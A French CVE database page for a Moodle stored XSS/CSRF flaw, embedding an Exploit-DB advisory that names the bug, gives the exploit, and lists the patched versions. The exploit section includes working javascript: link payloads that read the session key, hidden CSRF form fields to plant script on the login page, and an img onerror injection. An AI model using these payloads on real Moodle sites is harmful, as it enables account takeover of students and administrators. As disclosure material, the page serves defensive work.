Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-79 |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
4.3 |
|
AV:N/AC:M/Au:N/C:N/I:P/A:N |
nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 28174
Date de publication : 2013-09-08 22h00 +00:00
Auteur : Ciaran McNally
EDB Vérifié : No
#######################################################################
Ciaran McNally
Application: Moodle
http://download.moodle.org/
Versions: <= 2.3.8, 2.4.5
Platforms: Windows, Mac, Linux
Bug: Persistant XSS / CSRF
Exploitation: WEB
Date: 9 September 2013.
Author: Ciaran McNally
Web: http://makthepla.net/blog/=/moodle-2-account-takeover
My Twitter: https://twitter.com/ciaranmak
#######################################################################
1) Bug.
2) The exploit.
3) Fix.
#######################################################################
Moodle is a Course Management System (CMS), also known as a Learning
Management System (LMS) or a Virtual Learning Environment (VLE).
It is a Free web application that educators can use to create effective
online learning sites.
#######################################################################
======
1) Bug
======
At the following URL as a student,
http://server/blog/external_blog_edit.php
It is possible to remotely add an rss blog. The <link> parameter in an
rss feed is vulnerable to javascript injection.
This blog post is viewable by everyone on moodle and you can link to it
directly. Upon clicking the "Link to original blog entry" link, you
get javascript execution.
In moodle the "sesskey" parameter holds the session key used to prevent
csrf, this isn't unique for every form once logged in so many forms can
be submitted using this item. It is available on every page which makes
xss quite dangerous in this case.
#######################################################################
==============
2) The exploit
==============
Using a link value of <link>javascript:prompt(document.domain);</link>
This will display a demonstrative prompt as expected.
For a live example you can remotely include my blog rss feed.
http://makthepla.net/Rss/
My moodle blog post has a <link> value of the following.
javascript:alert("Session key = "+M.cfg.sesskey+"\nUser ID = "+window.location.search.split("=")[1]);
This displays the session key and the current users id.
If you can get an admin to click the link and submit the following form
trough javascript, you can post xss onto the main login page of your
victim moodle site.
<input type="hidden" name="id" value="1">
<input type="hidden" name="sr" value="0">
<input type="hidden" name="sesskey" value="x">
<input type="hidden" name="_qf__editsection_form" value="1">
<input type="hidden" name="mform_isexpanded_id_generalhdr" value="1">
<input type="hidden" name="userdefaultname" value="1">
<input type="hidden" name="summary_editor[text]" value="THE FRONT PAGE DATA AND/OR XSS">
<input type="hidden" name="summary_editor[format]" value="1">
<input type="hidden" name="summary_editor[itemid]" value="">
<input type="hidden" name="submitbutton" value="Save+changes">
You can read more about this on the original blog post.
You can get xss on the main login easily using html such as
<img src=x onerror=XSS> when posting as an admin via csrf.
#######################################################################
======
3) Fix
======
https://tracker.moodle.org/browse/MDL-41623
(This requires a login to view)
Upgrade to versions 2.3.9, 2.4.6 and 2.5.2.
#######################################################################
--
maK :)
Products Mentioned
Configuraton 0
Moodle>>Moodle >> Version To (including) 2.2.11
Moodle>>Moodle >> Version 2.3.0
Moodle>>Moodle >> Version 2.3.1
Moodle>>Moodle >> Version 2.3.2
Moodle>>Moodle >> Version 2.3.3
Moodle>>Moodle >> Version 2.3.4
Moodle>>Moodle >> Version 2.3.5
Moodle>>Moodle >> Version 2.3.6
Moodle>>Moodle >> Version 2.3.7
Moodle>>Moodle >> Version 2.3.8
Moodle>>Moodle >> Version 2.4.0
Moodle>>Moodle >> Version 2.4.1
Moodle>>Moodle >> Version 2.4.2
Moodle>>Moodle >> Version 2.4.3
Moodle>>Moodle >> Version 2.4.4
Moodle>>Moodle >> Version 2.4.5
Moodle>>Moodle >> Version 2.5.0
Moodle>>Moodle >> Version 2.5.1
Références